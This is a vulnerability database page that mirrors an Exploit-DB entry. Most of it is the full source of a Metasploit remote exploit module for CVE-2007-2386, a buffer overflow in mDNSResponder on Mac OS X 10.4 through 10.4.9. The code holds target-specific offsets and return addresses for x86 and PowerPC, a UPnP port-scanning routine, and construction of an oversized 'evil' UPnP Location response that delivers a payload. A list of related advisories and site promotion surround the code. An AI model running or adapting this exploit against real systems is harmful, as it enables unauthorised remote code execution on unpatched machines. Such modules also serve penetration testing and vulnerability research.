Lucene search
K

Apple Mac OSX - mDNSResponder UPnP Location Overflow (Metasploit)

🗓️ 08 Jan 2011 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Apple Mac OSX mDNSResponder UPnP Location Overflow, buffer overflow in mDNSResponder, affecting Mac OS X 10.4-10.4.9 without 2007-005 patc

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-2386
8 Jan 201100:00
circl
CVE
CVE-2007-2386
24 May 200722:00
cve
Cvelist
CVE-2007-2386
24 May 200722:00
cvelist
Tenable Nessus
GLSA-201201-05 : mDNSResponder: Multiple vulnerabilities
23 Jan 201200:00
nessus
Tenable Nessus
Mac OS X Multiple Vulnerabilities (Security Update 2007-005)
25 May 200700:00
nessus
Gentoo Linux
mDNSResponder: Multiple vulnerabilities
22 Jan 201200:00
gentoo
Metasploit
Mac OS X mDNSResponder UPnP Location Overflow
18 Mar 200923:28
metasploit
NVD
CVE-2007-2386
24 May 200722:30
nvd
OpenVAS
Gentoo Security Advisory GLSA 201201-05 (mDNSResponder)
12 Feb 201200:00
openvas
OpenVAS
Gentoo Security Advisory GLSA 201201-05 (mDNSResponder)
12 Feb 201200:00
openvas
Rows per page
##
# $Id: upnp_location.rb 11515 2011-01-08 01:12:15Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow that occurs when processing
				specially crafted requests set to mDNSResponder. All Mac OS X systems
				between version 10.4 and 10.4.9 (without the 2007-005 patch) are
				affected.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'ddz'
				],
			'Version'        => '$Revision: 11515 $',
			'References'     =>
				[
					[ 'OSVDB', '35142' ],
					[ 'CVE', '2007-2386' ],
					[ 'BID', '24144' ],
					[ 'URL', 'http://support.apple.com/kb/TA24732' ]
				],
			'DefaultOptions' =>
				{
					'SRVPORT' => 1900,
					'RPORT' => 0
				},
			'Payload' =>
				{
					'BadChars' => "\x00\x3a\x2f",
					'StackAdjustment' => 0,
					'Space' => 468
				},
			'Platform' => 'osx',
			'Targets' =>
				[
					[ '10.4.8 x86',
						{ # mDNSResponder-108.2
							'Arch'                   => ARCH_X86,
							# Offset to mDNSStorage structure
							'Offset'                 => 21000,
							'Magic'                  => 0x8fe510a0,
							'g_szRouterHostPortDesc' => 0x53dc0,
						}
					],
					[ '10.4.0 PPC',
						{ # mDNSResponder-107
							'Arch'    => ARCH_PPC,
							'Offset'  => 21000,
							'Magic'   => 0x8fe51f4c,
							'Ret'     => 0x8fe41af8,
						}
					]
				],
			'DisclosureDate' => 'May 25 2007',
			'DefaultTarget' => 1))

		register_options(
			[
				Opt::LHOST(),
				OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ])
			], self.class)

		@mutex = Mutex.new()
		@found_upnp_port = false
		@key_to_port = Hash.new()
		@upnp_port = 0
		@client_socket = nil
	end

	def check
		#
		# TODO: Listen on two service ports, one a single character
		# shorter than the other (i.e 1900 and 19000).  If the copy was
		# truncated by strlcpy, it will connect to the service listening
		# on the shorter port number.
		#
		upnp_port = scan_for_upnp_port()
		if (upnp_port > 0)
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Unsupported
		end
	end

	def upnp_server(server)
		client = server.accept()
		request = client.readline()
		if (request =~ /GET \/([\da-f]+).xml/)
			@mutex.synchronize {
				@found_upnp_port = true
				@upnp_port = @key_to_port[$1]

				# Important: Keep the client connection open
				@client_socket = client
			}
		end
	end

	def scan_for_upnp_port
		@upnp_port = 0
		@found_upnp_port = false

		upnp_port = 0

		# XXX: Do this in a more Metasploit-y way
		server = TCPServer.open(1900)
		server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) }

		begin
			socket = Rex::Socket.create_udp

			upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT']

			puts "[*] Listening for UPNP requests on: #{upnp_location}"
			puts "[*] Sending UPNP Discovery replies..."

			i = 49152;
			while i < 65536 && @mutex.synchronize {
				@found_upnp_port == false
			}
			key = sprintf("%.2x%.2x%.2x%.2x%.2x",
				rand(255), rand(255), rand(255), rand(255), rand(255))

			@mutex.synchronize {
				@key_to_port[key] = i
			}

			upnp_reply = "HTTP/1.1 200 Ok\r\n" +
				"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
				"USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
				"Location: #{upnp_location}/#{key}.xml\r\n\r\n"

			socket.sendto(upnp_reply, datastore['RHOST'], i)

			i += 1
		end

		@mutex.synchronize {
			if (@found_upnp_port)
				upnp_port = @upnp_port
			end
		}
		ensure
			server.close
			server_thread.join
		end

		return upnp_port
	end

	def exploit
		#
		# It is very important that we scan for the upnp port.  We must
		# receive the TCP connection and hold it open, otherwise the
		# code path that uses the overwritten function pointer most
		# likely won't be used.  Holding this connection increases the
		# chance that the code path will be used dramatically.
		#
		upnp_port = scan_for_upnp_port()

		if upnp_port == 0
			raise "Could not find listening UPNP UDP socket"
		end

		datastore['RPORT'] = upnp_port

		socket = connect_udp()

		if (target['Arch'] == ARCH_X86)
			space = "A" * target['Offset']
			space[0, payload.encoded.length] = payload.encoded

			pattern = Rex::Text.pattern_create(47)
			pattern[20, 4] = [target['Magic']].pack('V')
			pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]

			boom = space + pattern
			usn = ""

		elsif (target['Arch'] == ARCH_PPC)
			space = "A" * target['Offset']

			pattern = Rex::Text.pattern_create(48)
			pattern[20, 4] = [target['Magic']].pack('N')

			#
			# r26, r27, r30, r31 point to g_szUSN+556
			# Ret should be a branch to one of these registers
			# And we make sure to put our payload in the USN header
			#
			pattern[44, 4] = [target['Ret']].pack('N')

			boom = space + pattern

			#
			# Start payload at offset 556 within USN
			#
			usn = "A" * 556 + payload.encoded
		end

		upnp_reply = "HTTP/1.1 200 Ok\r\n" +
			"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
			"USN: #{usn}\r\n" +
			"Location: http://#{boom}\r\n\r\n"

		puts "[*] Sending evil UPNP response"
		socket.put(upnp_reply)

		puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run"
		select(nil,nil,nil,10)

		handler()
		disconnect_udp()
	end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jan 2011 00:00Current
7High risk
Vulners AI Score7
CVSS 29.4
EPSS0.7452
37